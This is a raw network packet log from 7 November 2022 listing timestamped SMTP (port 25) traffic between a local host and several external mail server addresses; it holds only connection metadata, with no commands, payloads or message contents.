Nov 7, 2022 22:25:06.797836065 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797866106 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797898054 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797925949 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797952890 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.797980070 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798007965 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798037052 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798063993 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798090935 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798125982 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798269987 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798300028 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798331022 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798357964 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798386097 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798525095 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798552990 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798582077 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798612118 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798639059 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798666954 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.798696995 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:06.944780111 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:06.958431005 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:06.992067099 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.000165939 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.006401062 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.009021997 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.043981075 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.044930935 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045015097 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045027971 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045032024 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.045041084 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045084953 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.045125008 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.045434952 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045449018 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045492887 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045505047 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045516014 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045521975 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.045527935 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.045557976 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.045599937 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079252958 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079293013 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079309940 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079324961 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079339027 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079358101 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079375029 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079391003 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079436064 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079436064 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079468012 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079485893 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079502106 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079508066 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079508066 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079516888 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079531908 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079543114 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079550982 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079567909 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079571962 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079583883 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079600096 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079602003 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079621077 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079633951 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079637051 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079653025 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.079655886 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079693079 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.079724073 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114026070 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114052057 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114063978 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114077091 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114089966 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114198923 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114212036 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114224911 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114243984 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114262104 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114278078 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114300013 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114378929 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114378929 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114378929 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114407063 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114407063 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114839077 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114857912 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114871025 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114901066 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114916086 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114919901 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114919901 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114928961 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114943027 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114952087 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114955902 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114965916 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114969969 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114984035 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.114991903 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.114998102 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115012884 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115015984 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.115025997 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115040064 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115052938 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115066051 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115071058 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.115080118 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.115127087 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.115147114 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.116106033 CET	49862	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:25:07.150363922 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.150520086 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151148081 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151175976 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151192904 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151221037 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151240110 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151257992 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151271105 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151272058 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151277065 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151316881 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151316881 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151355028 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151369095 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151387930 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151405096 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151422977 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151441097 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151442051 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151458979 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151510000 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.151740074 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.151798010 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.153753042 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153776884 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153791904 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153808117 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153825045 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153841972 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.153851986 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.153884888 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.153884888 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.153911114 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154154062 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154170990 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154233932 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154401064 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154417038 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154434919 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154448986 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154462099 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154476881 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154490948 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154508114 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154524088 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154535055 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154546976 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154563904 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154581070 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154597998 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154617071 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154619932 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154635906 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154655933 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154658079 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154673100 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154681921 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154683113 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154692888 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154711008 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154726028 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154730082 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154742956 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154748917 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154768944 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154779911 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154784918 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154803991 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154813051 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154822111 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154840946 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154858112 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154865980 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154890060 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154911995 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154911995 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154928923 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154932022 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154951096 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154968023 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.154973030 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.154985905 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155003071 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155005932 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.155020952 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155036926 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155040026 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.155055046 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155071020 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155086994 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155102968 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155118942 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155134916 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155150890 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155167103 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155181885 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155198097 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155214071 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155230999 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155247927 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155265093 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155280113 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.155297041 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.183569908 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.183595896 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.183650017 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.184099913 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184197903 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184231043 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184314013 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184351921 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184397936 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184412956 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184427977 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184442997 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184457064 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184571028 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184710026 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184890985 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184906960 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.184923887 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185008049 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185025930 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185043097 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185058117 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185074091 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185089111 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185103893 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185118914 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185133934 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185148001 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.185163975 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187402964 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187433958 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187449932 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187464952 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187479973 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187495947 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187511921 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187526941 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187541962 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187557936 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187572956 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187587976 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187602997 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.187618017 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188098907 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188117981 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188133001 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188237906 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188297987 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188317060 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188333035 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188349009 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188365936 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188381910 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188397884 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188412905 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188426971 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188441038 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188457012 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188472986 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188522100 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188539028 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188555956 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188590050 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188606024 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188815117 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188832998 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.188843012 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189218998 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189239025 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189254999 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189271927 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189285994 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189306974 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189318895 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189335108 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189348936 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189363956 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189378023 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189393044 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189409018 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189424038 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189439058 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189455032 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189470053 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189483881 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189500093 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189516068 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189531088 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189547062 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189567089 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189578056 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189588070 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189603090 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189619064 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189634085 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189649105 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189663887 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189680099 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189693928 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189708948 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189723969 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189739943 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189754963 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189769030 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189784050 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189798117 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189812899 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189831018 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189846039 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189861059 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.189877033 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.216625929 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.216753960 CET	49863	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:25:07.249794960 CET	25	49863	142.250.147.26	192.168.2.5
Nov 7, 2022 22:25:07.263777018 CET	25	49863	142.250.147.26	192.168.2.5
